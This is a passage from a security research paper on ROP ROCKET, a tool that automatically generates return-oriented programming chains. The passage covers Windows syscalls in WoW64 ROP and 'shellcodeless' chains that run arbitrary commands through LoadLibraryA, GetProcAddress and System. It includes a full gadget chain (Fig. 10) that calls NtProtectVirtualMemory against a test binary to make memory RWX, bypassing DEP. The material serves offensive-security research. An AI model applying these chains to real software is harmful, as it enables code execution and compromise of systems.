shellcode, designed to help shellcode authors integrate Windows syscalls directly into their shellcode, overcoming the portability problem associated with syscalls. Yet, in spite of all this popularity, there does not seem to have been usage of Windows syscalls in ROP, at least in a 32-bit, WoW64 environment. We are not aware of usage in x64 ROP, although that would be easier to figure out and set up.

The usage of Windows syscalls in ROP for WoW64 is one that is not documented, and moreover it would not be immediately clear to someone who wished to use them, how to do it. That is to say, there are some problems that would need to be overcome, requiring reverse engineering of the relevant OS, to determine how usage should proceed. The most “obvious” way to proceed would be, in fact, wrong, and would always result in failure. To that end, our approach is based upon the low-level knowledge gained with the `ShellWasp` framework. That, itself, was created as a way to provide working samples of Windows syscall shellcode for `SHAREM` [37, 38], a shellcode analysis framework funded by an NSA grant. At that time, there were no modern syscall shellcode samples out there, aside from Egghunters, the sole exception being a 2005 shellcode with Windows syscalls [39], that utilized an outdated, Windows XP era way of invoking syscalls. How to even use Windows syscalls correctly in shellcode, up until that point, was not clear, and someone who wished to do so, very likely would not succeed, without spending some time reverse engineering.

The same can be said for ROP utilizing Windows syscalls – how to do it, will not be clear. With WinAPIs, the process is relatively simple, and it is the same, regardless of WinAPI’s used. You set the stack up with the return addresses and the WinAPI parameter). You then somehow *jmp* to or *call* the desired WinAPI, with the stack properly aligned to return

address and parameters. With Windows syscalls, there is no address to *jmp* to. Instead, we must load *eax* with the proper SSN, and then we must invoke the syscall. As with shellcode, our only clear path to do so is via *fs:[0xc0]*. The *syscall* instruction does not exist in x86. We are not likely to find a gadget such as *jmp dword ptr fs:[0xc0]*, so we will instead look for one that will disclose the *fs* register in a way we can utilize. This then gives us access to a far jump, such as *jmp 0033:7396271E*², which then would lead us to *CpupReturnFromSimulatedCode* in *wow64cpu.dll* in Windows 7, which is a 64-bit DLL that exists in 32-bit address space. In Windows 10, this leads us to *wow64cpu!KiFastSystemCall*. That leads us to another similar far jump, such as *jmp 0033:776A7009*. In Windows 11, it will take us to *wow64cpu!BTCpuTurboThunkControl*, leading to another far jump. This is the first step in a long process of preparing for the transition from x86 to x64, before eventually making the syscall. To slightly simplify things, the x86 registers and stack must be preserved, and then values must be placed in corresponding, larger x64 registers. This complex process is outside the scope of this paper and not relevant for using Windows syscalls in ROP. The mechanics of how different Windows OSs handle this transition and setting up the Windows syscall certainly differ, but what remains the same is the need to use *fs:[0xc0]* to start the process.

The *fs* register is a segment register, and its usage differs greatly from general purpose 32-bit, x86 registers. Since a gadget with *fs:[0xc0]* in it is unlikely to be found, we can try to find one such as *fs:[ebx]*, and we can simply load the necessary *0xc0* into *ebx*, granting us access to the needed far jump. Thus, if we are able to find any gadget containing with *fs:[r32]*, we can manipulate it in order to gain access to the necessary far jump that starts the process. These gadgets are not plentiful, and this attack may not always be possible. Alternatively, we could use Heaven's Gate and gain access to that via the *r12* register, which points to the *TEB64*. This can lead us indirectly to the *TEB32*, from which we can simply add *0xc0*. That is a more roundabout process, and one which will not be automated. That said, the *r12* register may not always be available via ROP gadgets from an x86 binary. Since the *r12* will not be present in code written by the programmer, it depends upon what is produced by the unintended gadgets that may appear in the x64 ROP.

If access to *fs:[0xc0]* is available, the most direct way of utilizing it for purposes of Windows syscall ROP is to store it in a register and do a *push r32 / ret*, such as *push ecx / ret*. If possible, a more direct path would be, *push dword ptr fs:[ecx] / ret*, with *ecx* holding the value of *0xc0*. This is equivalent to *jmp dword ptr fs:[0xc0]*. This is indeed valid Assembly, and thus a possible gadget, but it is so obscure that it is highly unlikely to be found as an unintended gadget; the bytes themselves do not lend themselves easily to being produced by unintended instructions: *64 ff 25 c0 00 00 00*.

Our syscall ROP chain will be from the perspective of having a *push r32 / ret* or *push dword ptr fs:[r32] / ret* gadget available. Though again, it must be reiterated, that many gadgets containing even just *fs:[r32]* could be converted to that form with some extra steps.

Next, the return address is required, as that must be at the top of the stack when the syscall is invoked. This is also an area where most people who were trying to do this on their own would fail, because two return addresses are required. If we consider the purpose of a return address in a traditional sense, this is where execution returns to after the syscall concludes, whether successful or not. In shellcode, for instance, it would then begin executing whatever code is next. With ROP, we use disconnected pieces of Assembly in process memory, and at this point, we have no desire necessarily to move to a shellcode. Thus, from an automation standpoint, we will provide ROP nops, allowing for control flow to remain in a ROP state. However, if we were doing something like *NtProtectVirtualMemory*, then we may want to return to our shellcode, and so we might put that direct address, or perhaps a stack pivot gadget to allow us to reach it. In any case, the two return addresses are necessary just because of the nature of how the syscall is invoked in *WoW64*; we must mimic what occurs "naturally" in the Windows operating system, so there will be the expectation that they are present. If not, and there is only one return address, then all the parameters will be off by one. The syscall could never then succeed.

The next requirement is simply the parameters themselves for the Windows syscalls in question. With ROP ROCKET, at present only two Windows syscalls are supported, for which automatic ROP chain generation is possible, *NtAllocateVirtualMemory* and *NtProtectVirtualMemory*. One important caveat to be aware of with Windows syscalls is that many parameters are in the form of a pointer, rather than the value itself directly. Therefore, the size for *NtProtectVirtualMemory*, for instance, will need to be placed inside a pointer, and that serves both as an input and output parameter. We provide it a value, but it may be changed by the OS to another value, which is something we make use of intentionally.

It is also a requirement that the SSN must be loaded into *eax* when the syscall is called. For Windows 10 and 11 *WoW64*, for 32-bit applications, there are no additional requirements. For Windows 7, there are a couple additional requirements in *WoW64*. Failing to meet these will mean the syscall will fail. First, *ecx* must be 0, which can be achieved easily enough

² To be abundantly clear, this is a real example, but as with all system DLLs, ASLR will come into play. Thus, this should be regarded as just a hypothetical example.

with *xor ecx, ecx*, or something like *pop ecx / 0xffffffff / inc ecx*. Additionally, *edx* must also contain whatever is the address of the first parameter. In other words, it must be a pointer to the first parameter. In one ROP sample, this was achieved by having a register point to a location on the stack, and then loading another value into a different register. This second value could be used to dynamically reach the address of where on the stack the first parameter was, e.g. *pop edi / ret* followed by *0xc*, and then followed by *add edi, edx / ret* and *mov edx, edi / ret*. Now, *edx* points correctly to the first parameter, which is the first parameter. Again, in Windows 10 and 11, *ecx* and *edx* do not need to be set up in this fashion, although it does no damage if they are. At present, ROP ROCKET only automates ROP chain generation for Windows 10 and 11, skipping these steps required for Windows 7.

Windows Syscalls do not place return values in *eax*; any output to convey is provided in the appropriate output parameters, specified with an *out* in their function prototype. The *eax* register is used to return an NTSTATUS code, and 0 indicates success. Others are often equivalent to error messages, which can be looked up to try to figure out what went wrong. These can prove invaluable for troubleshooting.

Because of the nature of Windows syscalls using pointers heavily, from an automation standpoint these are created by taking an area of the stack and doing mov dereferences or “snipe” gadgets, such as *mov dword ptr [eax], ebx*. After each write, *eax* can be incremented or decremented. Thus, the values to be placed inside pointers are written to the stack in this fashion, which makes it easy to retrieve a pointer to the value. For instance, when loading one parameter, we might know it is at a distance of *0xc* bytes from *edx*, so we would ensure that *edx* points to that location. With automation, this is handled to minimize excessive increments and decrements.

4.1 NtAllocateVirtualMemory

NtAllocateVirtualMemory is simpler to create in ROP as it requires less pointers and parameters, and one does not matter. Our first step is to capture a reference to the stack and move it forward approximately *0x200* bytes; we can store our return addresses, parameters, and more at that location on the stack, and then do a stack pivot once we have fully setup the stack. Our next step is to write to memory the value for the region size; it will be provided later as a value in a pointer, which is a required parameter. Next, we can write the *Protect* and *AllocationType* parameters as direct values. After each mov dereference, we can decrement four types to reach the next “slot” on the stack. Next comes the pointer to the region size. As we had saved a reference point in *edi* to the location where we wrote the region size, we can simply move that into the register being used for the write, before doing *mov dword ptr [eax], ebx / ret*. The next parameter, *ZeroBits*, is straightforward and can be provided directly. After this we must provide another pointer, which will store the base address of the allocation, which will be returned by *NtAllocateVirtualMemory*. We can again move *edi* to *ebx*, but this time will increment it four times. We have not initialized this pointer to any value, nor does it need to be zero. If successful, it will automatically update to the correct allocation, so initialization is unnecessary. Next, we must provide a handle to the process where the allocation will occur. Indeed, we could do this in another process, although that would require us to get its PID and then convert that into a process handle. Since we are creating the allocation in the current process, we simply use *-1*, or *0xffffffff*. That can be easily achieved with a *xor ebx, ebx / ret* and *dec inc ebx / ret*. Now that we have created our parameters, we must provide the two return addresses. This can be achieved easily enough with ROP nops, although that certainly could be changed to another location. Finally, we must write an address to whatever our equivalent is to the *push r32 / ret* style gadget, that allows us to invoke the syscall. In this case, we were fortunate to be able to directly use *push dword ptr fs:[ebx] / ret*. This is the final item we write to the stack. After having written this syscall gadget to memory, we must now do a stack pivot.

ROP ROCKET is able to do this with an *add esp, r32* gadget, as it is able to use emulation to execute the entire ROP chain in memory, and then determine the destination required for *esp* to reach the syscall gadget. This typically requires recursive calls to pinpoint the exact stack pivot amount. Other more direct stack pivots, such as *xchg eax, esp / ret* may not require emulation. Once the stack pivot occurs, then the Windows syscall is invoked, and then it will return to the return addresses. It is important to note also that there is no automatic stack cleanup with Windows syscalls, so the ROP developer would need to do this, such as with a short stack pivot. This step is not handled via automatic chain generation as it can vary what the user may do next. This is a task that is assumed to be of minimal difficulty.

4.2 NtProtectVirtualMemory

NtProtectVirtualMemory is perhaps of greater practical value, as one can change the memory permissions for some location of memory where the shellcode may be. However, its setup is slightly more complex. As before, our approach is to use mov dereferences to prepare memory for the Windows syscall.

As with NtAllocateVirtualMemory, the first step is to prepare the values that will be loaded into pointers. With NtAllocateVirtualMemory, of the two pointers needed, we only had to prepare one in advance. With NtProtectVirtualMemory, three pointers are needed, one for the BaseAddress, one for the NumberOfBytesToProtect, and one for the OldAccessProtection. With this ROP chain, we will start from the last required parameter and decrement until we reach the return values and then the pointer to the method of invoking the syscall. However, with the values for the pointers to be written to the stack, we will start in the opposite direction, with the BaseAddress first.

We must first get a pointer to a location in memory, and in this case we select the stack. For the base address, we will simply take the current value of *esp* and move that into another register, which will be written to the appropriate “slot” for the value. This will serve as the BaseAddress value, as it is not necessary for us to be precise, as will be explained later. We then decrement four bytes to our next “slot,” which will be the value for NumberOfBytesToProtect. In this case, all that is important is that we do not exceed the maximum size possible for that particular allocation. In our example, this allocation was size 0x1000, but we instead put size 1. As this is too small, it will be rounded up, from the lowest address in the memory allocation, i.e. the base, and it will occupy the entire size of the allocation. Thus, the region of memory that will be RWX will be size 0x1000, not size 1, and after the syscall, both the pointers to BaseAddress and NumberOfBytesToProtect will update with the correct values. Next, we must provide the value for the pointer to OldAccessProtection. Here, we just simply decrement four times again to our next “slot.” We will have this be the pointer for OldAccessProtection, which only needs to be writable. Next we write the pointer to OldAccessProtection, and in this case we supply the pointer’s own current address, for simplicity’s sake. Next, we again decrement four times to our forth parameter, NewAccessProtection. Here we simply supply the value 0x40 directly, for RWX. Again, after decrementing four times, we reach the pointer to NumberOfBytesToProtect, our third parameter. As we had stored a pointer to memory in *edi*, we simply move that into *ebx*, the register we are using to do the writes. We increment that four times, to reach the location of the pointer, and we then write that to memory with *mov dword ptr [eax], ebx / ret*. We then decrement *eax* four times again, reaching our second parameter, the BaseAddress pointer. The value in *ebx* presently is at the pointer for NumberOfBytesToProtect. To reach the value for the BaseAddress we provided, we simply increment *ebx* four times, and then we do another mov dereference, with *mov dword ptr [eax], ebx / ret*. Next, the process handle must be supplied. While we could target any process, for which we possessed a handle, in this case we target the current binary, and this is done with -1, or 0xffffffff.

Having now written all the required parameters to the stack, including those with pointers, we can now establish our two return addresses. For simplicity’s sake, again we supply ROP nop or single *ret* gadgets as the return address. This could be changed, of course, to point to the shellcode itself, its memory region had been modified. If we were to continue with additional ROP gadgets, then the chain would simply continue to the next ROP gadget without interruption.

Finally, having written both our parameters and the two required return addresses, we must write a gadget that will invoke the Windows syscall. Again, a *push r32 / ret* is preferred, and in this case we again will invoke the syscall with *push dword ptr fs:[ebx] # ret*. If this were not possible, then we would need to set up a *push r32 / ret* as described previously.

The appropriate SSN must be supplied, and this can be done by loading the needed value into *eax*. While some SSNs may change more frequently, that is not true for NtProtectVirtualMemory, where we can supply 0x50 to Windows 10 and Windows 11.

Now all that is required is a simple stack pivot. Once that has been done, then the Windows syscall will be invoked and the two return addresses will be provided alongside all required parameters. If set up correctly, then it will be successful. This will be clear because the NTSTATUS code in *eax* will be 0. We can check the *BaseAddress*, and we will see it has been updated to the base address of that particular region of memory, in this case the stack. Finally, the NumberOfBytesToProtect will be have updated from 1 to the maximum amount for that allocation size. We can check the *BaseAddress* with the WinDbg command *!vprot* followed by the BaseAddress, and we will see it has indeed been granted RWX permissions.

```
gList = [
```

```

0x004013b1, # (0x13b1) mov eax, esp # ret # rop_tester_syscall.exe #
\x8b\xc4\xc3
0x00401608, # (0x1608) pop ecx # ret # rop_tester_syscall.exe # \x59\xc3
0x00000250, # set distance from current stack location
0x00401639, # (0x1639) add eax, ecx # ret # rop_tester_syscall.exe #
\x03\xc1\xc3

0x004013cc, # (0x13cc) mov ebx, eax # ret # rop_tester_syscall.exe #
\x8b\xd8\xc3 #get BaseAddress value for ptr
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 #Write base address parameter to the pointer
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#set up number of bytes for ptr
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x00000001, # setting number of bytes for ptr
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#parm5 OldAccessProtection
0x004013d8, # (0x13d8) mov edi, eax # ret # rop_tester_syscall.exe #
\x8b\xf8\xc3 # save pointer to stack - location for OldAccessProtection
0x0040142c, # (0x142c) mov ebx, edi # ret # rop_tester_syscall.exe #
\x8b\xdf\xc3 # TRANSFER ptr to OldAccessProtection to ebx
#indirect way of getting eax (stack) into ebx
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # PTR OldAccessProtection # writing response at same location as
ptr - allowable
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#parm4 NewAccessProtection
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x00000040, # NewAccessProtection
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#parm3 ptr NumberOfBytesToProtect
0x0040142c, # (0x142c) mov ebx, edi # ret # rop_tester_syscall.exe #
\x8b\xdf\xc3 #

```

14

```
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # NumberOfBytesToProtect pointer
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#parm2 BaseAddress Ptr
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x0040125c, # (0x125c) inc ebx # ret # rop_tester_syscall.exe # \x43\xc3
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # pointer for BaseAddress
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#parm1 ProcessHandle
0x00401243, # (0x1243) xor ebx, ebx # ret # rop_tester_syscall.exe #
\x33\xdb\xc3
0x00401268, # (0x1268) dec ebx # ret # rop_tester_syscall.exe # \x4b\xc3
### -1, 0xffffffff, Process Handle
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # ProcessHandle
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#ret address2
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x0040125c, # Return address 2
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # pointer for base addresssss
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#ret address 1
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x0040125c, # Return address 1
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3 # pointer for base addresssss
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3
```

```

0x0040126a, # (0x126a) dec eax # ret # rop_tester_syscall.exe # \x48\xc3

#write way to invoke syscall to the stack
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x00401132, # (0x1132) push dword ptr fs:[ebx] # ret # rop_tester_syscall.exe
# \x64\xff\x33\xc3
0x004014b2, # (0x14b2) mov dword ptr [eax], ebx # ret # rop_tester_syscall.exe
# \x89\x18\xc3

#load ebx with offset for invoking syscall
0x00401606, # (0x1606) pop ebx # ret # rop_tester_syscall.exe # \x5b\xc3
0x000000c0,

#win 7 - setting up EDX - not needed for Win10
0x004013d2, # (0x13d2) mov edx, eax # ret # rop_tester_syscall.exe #
\x8b\xd0\xc3
0x0040160c, # (0x160c) pop edi # ret # rop_tester_syscall.exe # \x5f\xc3
0x0000000c,
0x0040167b, # (0x167b) add edi, edx # ret # rop_tester_syscall.exe #
\x03\xfa\xc3
0x00401432, # (0x1432) mov edx, edi # ret # rop_tester_syscall.exe #
\x8b\xd7\xc3

#load eax with syscall value (SSN)
0x00401604, # (0x1604) pop eax # ret # rop_tester_syscall.exe # \x58\xc3
0x00000050, # load with NtProtectVirtualMemory (win7) val

#Win 7 xor ecx, ecx - not needed for Win10
0x00401293, # (0x1293) xor ecx, ecx # ret # rop_tester_syscall.exe #
\x33\xc9\xc3

#Do stack pivot to transition to invoking the syscall
0x0040160e, # (0x160e) pop esi # ret # rop_tester_syscall.exe # \x5e\xc3
0x000000c4,
0x004014a9, # (0x14a9) add esp, esi # ret # rop_tester_syscall.exe #
\x03\xe6\xc3
]

```

Fig. 10. The above is code to do the Windows Syscall NtProtectVirtualMemory via ROP. This code was used to help develop one pattern that ROP ROCKET follows.

5 Shellcodeless ROP

The usage of ROP in Windows often can be as simple as a single WinAPI being setup and then used, such as VirtualAlloc, VirtualProtect, or similar being used to bypass DEP, and then allowing for shellcode to be executed. However, far more complex ROP chains are possible. With this technique, the approach is focused on rather than trying to bypass DEP, through any of the various ways of doing so, to simply avoid the need to bypass DEP or even to utilize shellcode in the first place. Instead, we directly implement the shellcode-like functionality via ROP. This approach has been used in the wild before, although it has only rarely done, due to the skill and effort required, and the somewhat time-consuming nature of constructing such a multi-API chain. However, it is believed Babcock and Brizendine were the first to do this with Shellcodeless JOP [40].

If one were to create such a chain manually, then perhaps the easiest way would be to utilize the mov dereference or “sniper” way of writing to memory under our control. However, that is perhaps not the best way to do so when trying to fully automate the process, so that it can be created in seconds with automatic ROP chain generation. With automation, greater simplicity can be achieved through the usage of the *pushad* technique. This would allow us to load needed values, such as parameters, return addresses, pointer to the WinAPI, and other ROP gadgets into registers, such that once *pushad* is executed, the WinAPI call will be setup with the return address and required parameters.

We decided to automate two attacks. The first is a combination of LoadLibraryA, GetProcAddress, and System, allowing for an arbitrary command to be executed. These different APIs are chained together. Next, was a chain consisting of LoadLibraryA, GetProcAddress, UrlDownloadToFileA, and CreateProcessA. For each of these attacks, it was necessary to establish different patterns for all the WinAPIs and to ensure they worked together as intended, once chained together. While working patterns were created for the second chain of APIs, it is not included in ROP ROCKET at this time.

Reliability is important with ROP chain generation; we do not want to use obscure gadgets that not likely to be found, causing the chain to fail. To that end, the goal was to try to use simple and easy to find ROP gadgets or values that could be placed in a pattern for each API in question. It was also important to have plenty of available alternatives, so if one easy to find type of gadget was not available due to limited attack surface, another pattern could be tried with different requirements, which possibly could be satisfied with what was contained in the attack surface. The only way to create the patterns was through trial and error. This was done with experimentation with different ROP chains and a debugger, until a new pattern could be found that satisfied the requirements. Some patterns may have only slight, but important variances, while others may differ more substantially. For the chain implemented in ROP ROCKET, consisting of LoadLibraryA, GetProcAddress, and System, there were approximately a dozen different patterns for each of the WinAPIs, many there were many unique combinations of different patterns possible. These patterns can be seen at the end of section 5.

In developing the patterns for the WinAPIs, the process was fully manual with handwritten ROP chains being created, tested, and refined. After the patterns were created and all were rigorously tested to ensure they were reliable and worked without flaw, they were then automated. The results from automatic ROP chain generation then were tested, ensuring that each pattern worked without error. In our development, the command *calc* was used, although any appropriate command could be provided. The desired command may be supplied.

5.1 Automatic ROP Chain Generation of Shellcodeless ROP

For all patterns using *pushad*, one function in *ROP ROCKET* is used to prepare the register values for the pattern being used. Each pattern exists in nested dictionaries, which contain all the required elements needed to obtain each value or gadget for each particular register value, as can be seen in the tables at the end of this section. Thus, if pattern #1 is used for LoadLibraryA, it will then go to the first slot, which is for *edi*. Each register has a string associated with it called the *val*, which is used by ROCKET to fetch the appropriate value. For instance, the *val* for *edi* is *ropNop*. A *get* function from the *getParamVals* class is then called. This checks what was passed as *val*, so it looks to see if there is a *get_ropNop* function in the *GetParamVals* class. There is indeed, and that function is then called. This method is chosen as it is more similar to using Python dictionaries for lookup, and we can avoid nested if else statements or similar; that is to say, this is a more direct and faster way to reach the appropriate function to handle the task at hand. With *get_ropNop*, a single *ret* gadget simply needs to be selected from the thousands available.

Many function parameters can be handled easily, with a single gadget address or value provided by individual class methods from *GetParamVals* dedicated to generating that particular type of value. Others are more complex and are handled outside the class method. For instance, with LoadLibraryA, there is a *targetDllString* required, which is the name of the module or DLL we are trying to load. For this, we must supply a pointer. However, doing so is not always straightforward, because of the nature of the gadgets produced by ROP ROCKET, as in some cases one gadget may be used, while in other cases multiple gadgets could be used. This means the effects on *esp* are not predictable. So if the module name exists as a string in the payload, then we cannot always be assured it is at a fixed distance from a particular spot in the ROP chain. This unpredictability in the distance size would seem to make it impossible for this to be used in automatic ROP chain generation. However, that is not the case, as we are able to use emulation to determine how far our *targetDllString* is from the stack in memory. That is to say, we can have a pointer to the stack in a register, such as *eax*, and we might calculate it is 0x50 bytes from the value in *eax*. This data is then used to allow it to generate a gadget to allow us to have a pointer to the string. This pointer, once dynamically created through ROP, can then be loaded into the appropriate register, which may vary based on the pattern used. When emulation is required, then with automatic ROP chain generation, the parameter associated with the emulation is placed in slot 2, so that more registers are available, allowing for a higher

likelihood of success. If it were to be in the last slot, then only one register would be available, as the rest of the values for *pushad* would need to be safeguarded, all but assuring that a pointer to a needed string could not be found via ROP gadgets. The emulation may not always determine the needed value right away, so it calls itself recursively until it is able to get the correct value, and then it is able to return the address of the needed pointer.

Because ROP ROCKET is very modular in nature, it is not necessary to have dozens of different functions to try to generate the many different possible patterns. Instead, as mentioned, only one function is required with a collection of helper functions and class methods. This simplicity allows us to determine a new pattern and easily deploy it, after verifying the pattern works. If the pattern uses all the same types of values or gadgets in the registers, then no new class methods in *getParamVals* need to be created. If a new type is required, then the corresponding class method to generate that value or that class of ROP gadget can be provided, and it can then be used again in subsequent patterns for the same or different APIs.

Register	Pattern 1	Pattern 2	Pattern 3	Pattern 4	Pattern 5	Pattern 6	Pattern 7	Pattern 8	Pattern 9
EAX	IpLibFileName	Rop nop	IpLibFileName	IpLibFileName	Rop nop	Rop nop	Rop nop	IpLibFileName	IpLibFileName
ECX	Return address	IpLibFileName	Return address	Return address	IpLibFileName	IpLibFileName	IpLibFileName	Return address	Return address
ESP	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip
EDI	Rop nop	Pop	Pop	RET 8	RET 8	ADD ESP, 0xC	ADD ESP, 0xC	ADD ESP, 0xC	ADD ESP, 0xC
ESI	RET 8	LoadLibraryA PTR	LoadLibraryA PTR	Rop nop	Rop nop	Rop nop	LoadLibraryA PTR	Rop nop	LoadLibraryA PTR
EBP	Rop nop	Pop	Pop	LoadLibraryA PTR	LoadLibraryA PTR	LoadLibraryA PTR	Rop nop	LoadLibraryA PTR	Rop nop
EBX	LoadLibraryA PTR	Jump [ESI]	Rop nop	Rop nop	Jump [EBP]	Jump [EBP]	Jump [ESI]	Rop nop	Rop nop
EDX	Jump [EBX]	Return address	Jump [ESI]	Jump [EBP]	Return address	Return address	Return address	Jump [EBP]	Jump [ESI]

Fig. 11. ROP patterns for LoadLibraryA using the *pushad* technique are show above.

Register	Pattern 1	Pattern 2	Pattern 3	Pattern 4	Pattern 5	Pattern 6	Pattern 7	Pattern 8	Pattern 9	Pattern 10	Pattern 11
EAX	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName	IpProcName
ECX	hModule	hModule	hModule	hModule	hModule	hModule	hModule	hModule	hModule	hModule	hModule
ESP	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip
EDI	RET 8	Pop	Pop	ADD ESP, 0xC	ADD ESP, 0xC	ADD ESP, 4	ADD ESP, 0xC	ADD ESP, 0xC	RET 4	ADD ESP, 0xC	ADD ESP, 4
ESI	Rop nop	GetProcAddress PTR	GetProcAddress PTR	Rop nop	GetProcAddress PTR	GetProcAddress PTR	ADD ESP, 4	RET 4	ADD ESP, 4	Pop	GetProcAddress PTR
EBP	GetProcAddress PTR	Pop	ADD ESP, 4	GetProcAddress PTR	Rop nop	ADD ESP, 4	GetProcAddress PTR	GetProcAddress PTR	GetProcAddress PTR	GetProcAddress PTR	Pop
EBX	Jump [EBP]	Jump [ESI]	Jump [ESI]	Jump [EBP]	Jump [ESI]	Jump [ESI]	Jump [EBP]	Jump [EBP]	Jump [EBP]	Jump [EBP]	Jump [ESI]
EDX	Return address	Return address	Return address	Return address	Return address	Return address	Return address	Return address	Return address	Return address	Return address

Fig. 12. ROP patterns for GetProcAddress using the *pushad* technique.

Register	Pattern 1	Pattern 2	Pattern 3	Pattern 4	Pattern 5	Pattern 6	Pattern 7	Pattern 8	Pattern 9
EAX	Rop nop	Rop nop	Rop nop	Rop nop	Command	Command	Command	Command	Command
ECX	Command	Command	Command	Command	Return address	Return address	Return address	Return address	Return address
ESP	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip
EDI	RET 8	Pop	ADD ESP, 0xC	ADD ESP, 0xC	RET 8	Rop nop	Pop	ADD ESP, 0xC	ADD ESP, 0xC
ESI	Rop nop	System PTR	Rop nop	System PTR	Rop nop	RET 8	System PTR	Rop nop	System PTR
EBP	System PTR	Pop	System PTR	Rop nop	System PTR	Rop nop	Pop	System PTR	Rop nop
EBX	Jump [EBP]	Jump [ESI]	Jump [EBP]	Jump [ESI]	Rop nop	System PTR	Rop nop	Rop nop	Rop nop
EDX	Return address	Return address	Return address	Return address	Jump [EBP]	Jump [EBX]	Jump [ESI]	Jump [EBP]	Jump [ESI]

Fig. 13. ROP patterns for System using the *pushad* technique

6 Overview of the Architecture of ROP ROCKET

ROP ROCKET owes its origins to the much older JOP ROCKET, which is orders of magnitude less sophisticated in its design and capabilities. At its heart, ROP ROCKET, like its predecessor, is designed to find gadgets for a code-reuse attack and then to generate appropriate chains which are of practical value in exploitation. This section will provide a brief description of some of the key components of ROP ROCKET's architecture.

6.1 Finding ROP Gadgets

